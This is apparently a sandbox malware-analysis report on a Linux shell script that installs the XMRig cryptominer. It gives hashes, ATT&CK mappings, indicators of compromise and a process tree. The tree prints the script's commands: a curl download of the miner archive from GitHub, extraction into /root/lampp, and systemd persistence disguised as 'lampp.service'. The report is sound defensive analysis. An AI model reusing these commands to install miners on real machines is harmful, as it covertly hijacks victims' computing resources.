xmrig_linux | d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

Analysis

max time kernel
3s
max time network
95s
platform
ubuntu-24.04_amd64
resource
ubuntu2404-amd64-20240523-en
resource tags

arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
submitted
01-07-2024 12:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

script.sh
Size

8KB
MD5

97423634cc1762b2f010cb860e7fb47d
SHA1

2f50775e8fe9ab98a80f06d835c5874091bf0b3e
SHA256

d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
SHA512

bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f
SSDEEP

192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score

10^/10

xmrig_linux antivm miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Executes dropped EXE 1 IoCs

Processes:

xmrig

ioc	pid	Process
/root/lampp/xmrig	2845	xmrig

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

Processes:

xmrig

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Reads hardware information 1 TTPs 14 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

T1082

Processes:

xmrig

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

Processes:

xmrig

description	ioc	Process
File opened for reading	/proc/cpuinfo	xmrig

Reads CPU attributes 1 TTPs 45 IoCs

System Information Discovery

T1082

Processes:

xmrig

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/topology/cluster_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpu_capacity	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/base_frequency	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/package_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/die_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map	xmrig

Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

xmrig

description	ioc	Process
File opened for reading	/sys/fs/cgroup/cpuset.cpus.effective	xmrig
File opened for reading	/sys/kernel/mm/hugepages	xmrig
File opened for reading	/sys/devices/system/node/online	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/soc/devices	xmrig
File opened for reading	/sys/devices/cpu_atom/cpus	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/dax/devices	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_bandwidth	xmrig
File opened for reading	/sys/devices/virtual/dmi/id	xmrig
File opened for reading	/sys/fs/cgroup/cgroup.controllers	xmrig
File opened for reading	/sys/fs/cgroup/cpuset.mems.effective	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/cpumap	xmrig
File opened for reading	/sys/devices/system/node/node0/access1/initiators	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_bandwidth	xmrig
File opened for reading	/sys/devices/system/cpu	xmrig
File opened for reading	/sys/devices/cpu_core/cpus	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/meminfo	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_latency	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_latency	xmrig

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

killallsudosedsedsudosystemctlsudo

description	ioc	Process
File opened for reading	/proc/185	killall
File opened for reading	/proc/2049	killall
File opened for reading	/proc/2143/stat	killall
File opened for reading	/proc/2336/cmdline	killall
File opened for reading	/proc/2525/cmdline	killall
File opened for reading	/proc/2554/cmdline	killall
File opened for reading	/proc/51/cmdline	killall
File opened for reading	/proc/888/stat	killall
File opened for reading	/proc/2592	killall
File opened for reading	/proc/39/cmdline	killall
File opened for reading	/proc/182/stat	killall
File opened for reading	/proc/456	killall
File opened for reading	/proc/2341	killall
File opened for reading	/proc/2583/stat	killall
File opened for reading	/proc/2814	killall
File opened for reading	/proc/self/loginuid	sudo
File opened for reading	/proc/6	killall
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/24	killall
File opened for reading	/proc/734/stat	killall
File opened for reading	/proc/2049/cmdline	killall
File opened for reading	/proc/2812/stat	killall
File opened for reading	/proc/20	killall
File opened for reading	/proc/51	killall
File opened for reading	/proc/1048	killall
File opened for reading	/proc/2036	killall
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/47/cmdline	killall
File opened for reading	/proc/1410	killall
File opened for reading	/proc/2213	killall
File opened for reading	/proc/2257/stat	killall
File opened for reading	/proc/43	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/55	killall
File opened for reading	/proc/71	killall
File opened for reading	/proc/2322/stat	killall
File opened for reading	/proc/2573/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/2257	killall
File opened for reading	/proc/2486	killall
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/39	killall
File opened for reading	/proc/64/cmdline	killall
File opened for reading	/proc/192/stat	killall
File opened for reading	/proc/2116/cmdline	killall
File opened for reading	/proc/2246/stat	killall
File opened for reading	/proc/2548	killall
File opened for reading	/proc/2826	killall
File opened for reading	/proc/10	killall
File opened for reading	/proc/1342	killall
File opened for reading	/proc/2031/cmdline	killall
File opened for reading	/proc/2467	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/loginuid	sudo
File opened for reading	/proc/1131	killall
File opened for reading	/proc/2116	killall
File opened for reading	/proc/38/stat	killall
File opened for reading	/proc/356/stat	killall
File opened for reading	/proc/2295	killall
File opened for reading	/proc/2482/stat	killall
File opened for reading	/proc/28	killall
File opened for reading	/proc/194	killall
File opened for reading	/proc/196	killall
File opened for reading	/proc/273	killall

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlscript.sh

description	ioc	Process
File opened for modification	/tmp/xmrig.tar.gz	curl
File opened for modification	/tmp/lampp.service	script.sh

/tmp/script.sh
/tmp/script.sh
1⤵
- Writes file to tmp directory
PID:2826
- /usr/bin/cut
  cut -f1 -d.
  2⤵
  PID:2830
- /usr/bin/nproc
  nproc
  2⤵
  PID:2831
- /usr/bin/bc
  bc -l
  2⤵
  PID:2834
- /usr/bin/curl
  curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:2835
- /usr/bin/mkdir
  mkdir /root/lampp
  2⤵
  PID:2840
- /usr/bin/tar
  tar xf /tmp/xmrig.tar.gz -C /root/lampp
  2⤵
  PID:2841
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:2842
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:2842
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:2842
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:2842
- /usr/bin/rm
  2⤵
  PID:2843
- /usr/bin/sed
  2⤵
  - Reads runtime system information
  PID:2844
- /root/lampp/xmrig
  2⤵
  - Executes dropped EXE
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  PID:2845
- /usr/bin/hostname
  2⤵
  PID:2848
- /usr/bin/sed
  2⤵
  PID:2850
- /usr/bin/cut
  2⤵
  PID:2849
- /usr/bin/sed
  2⤵
  PID:2851
- /usr/bin/sed
  2⤵
  PID:2852
- /usr/bin/sed
  2⤵
  - Reads runtime system information
  PID:2853
- /usr/bin/sed
  2⤵
  PID:2854
- /usr/bin/sed
  2⤵
  PID:2855
- /usr/bin/sed
  2⤵
  PID:2856
- /usr/bin/sed
  2⤵
  PID:2857
- /usr/bin/cp
  2⤵
  PID:2858
- /usr/bin/sed
  2⤵
  PID:2859
- /usr/bin/cat
  2⤵
  PID:2860
- /usr/bin/chmod
  2⤵
  PID:2861
- /usr/bin/sudo
  2⤵
  - Reads runtime system information
  PID:2862
- - /usr/bin/true
    true
    3⤵
    PID:2863
- /usr/bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  PID:2865
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2866
- /usr/bin/cat
  cat
  2⤵
  PID:2867
- /usr/bin/sudo
  sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
  2⤵
  - Reads runtime system information
  PID:2868
- - /usr/bin/mv
    mv /tmp/lampp.service /etc/systemd/system/lampp.service
    3⤵
    PID:2869
- /usr/bin/sudo
  sudo killall xmrig
  2⤵
  PID:2870
- - /usr/bin/killall
    killall xmrig
    3⤵
    - Reads runtime system information
    PID:2871
- /usr/bin/sudo
  sudo systemctl daemon-reload
  2⤵
  - Reads runtime system information
  PID:2872
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:2873
- /usr/bin/sudo
  sudo systemctl enable lampp.service
  2⤵
  PID:2997
- - /usr/bin/systemctl
    systemctl enable lampp.service
    3⤵
    PID:2998
- /usr/bin/sudo
  sudo systemctl start lampp.service
  2⤵
  PID:3122
- - /usr/bin/systemctl
    systemctl start lampp.service
    3⤵
    - Reads runtime system information
    PID:3123

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/root/lampp/config.json

Filesize
2KB

MD5
f3294129e6b76283965ad86a815bf383

SHA1
5fe0ab538f86962efe82cb13fc2da745610740af

SHA256
578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

SHA512
07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

Download Submit
/root/lampp/miner.sh

Filesize
253B

MD5
f96a321a262287ceae164f23f232ed9c

SHA1
d1eeab41f244b42377afd7cc3de7428736162b24

SHA256
f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

SHA512
75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

Download Submit
/root/lampp/sedN3vdXe

Filesize
2KB

MD5
8b11b027dd187104473ee7d661ffe25f

SHA1
ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

SHA256
984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

SHA512
1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

Download Submit
/root/lampp/sedOjE9W5

Filesize
2KB

MD5
6c792a317107046bf611b4c9726cd161

SHA1
fb34a3cdfdba3d5bfbe12836e3513a89165b8a81

SHA256
23926cee8b21eb6e443d76dfed04f4c4f30f29df4a65ceb124f5c01294393856

SHA512
2736b0ebdc994f99a085c4ee448ae7878aac3245da248ed9783c304178e10992a251943d0500ad407e4872581cf40ae79c00842c80ff4f718ae6ecf6611bdf03

Download Submit
/root/lampp/sedYz2VZa

Filesize
2KB

MD5
fbf2b0f758c0b2d921e95a2e8263df15

SHA1
628609c8dcca2354db12e59de71e7d47ffacedbe

SHA256
8284f521769eaec96bcb04b214578f9e7476d43da15889420faf788a673f6ede

SHA512
889d366672b9038641552aab9e99f45a69037b034a838dba9b6f6140f2efac366cb8cdc3c879f1bd9ac9f75dc2a4b1f7e8d394169a5c4adb96f1b7b8fabd7ffe

Download Submit
/root/lampp/sedjn8YLO

Filesize
2KB

MD5
d489ddbbb83271e967b8af615d17d3c7

SHA1
f0394a367a60e9727269882154098dec802774ef

SHA256
5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

SHA512
aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

Download Submit
/root/lampp/sedm4Oadp

Filesize
2KB

MD5
67edf12dd3410f6131aeedad8fd44e0d

SHA1
fcf5787e7fb219d5c98eb93e105d9732ae6a94d6

SHA256
177fb49656820e70cc0808414cbb9f40feba97878d35352fef1bdb4e1816259b

SHA512
0c065c8eea8048050d56d59c0c661bdfc72827018ef95bb39a0514fca63b54f19c9fabc1cb78b3dce207cfeb4ff4c98953c18eb9ab90557dbffeb2c7ac2fc3d0

Download Submit
/root/lampp/sedvBfRgX

Filesize
2KB

MD5
1503dc7d062767c0ff1199f955390f87

SHA1
729628d1e129ebad6543836228370e8d6b585854

SHA256
4693b88e5aa6b8d745c1e350d893d09d14cf3e5fe19fcd748e377cc8afd77836

SHA512
814ef7dc244c48a8b3c3ee4582e737fe91f21cbc7c4665e592db716ad5255fa4a5ec4a2bb6001e541f87fc3c1f27ecb3d6594c56869a807c98c11f96bd09abc6

Download Submit
/root/lampp/xmrig

Filesize
8.4MB

MD5
60e3e4224035ac0ae3ba8b3205508585

SHA1
f134ecb1b2de7b6de1b1c3ef58fc05514691271a

SHA256
c717ffb5e5194f6be0e80aa301bc812d691a0633be636df3ee2504c4521f4459

SHA512
e541ef306ff804d04187921017254c371eaeb24cc6a7f5c721b422b47d7e8761d116d4e953884f7912b1cad23997a9481fd7b36fde03358a82e3a392ac5b3cec

Download Submit
/tmp/lampp.service

Filesize
177B

MD5
540c899b78585827e807a62f7345eaf5

SHA1
8bf3146889c6b15811f226bff9fbca24d184eff2

SHA256
b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

SHA512
0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

Download Submit
/tmp/xmrig.tar.gz

Filesize
3.4MB

MD5
e003a3ec8bdd61151a61cadf950502c4

SHA1
2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

SHA256
80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

SHA512
ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9

Download Submit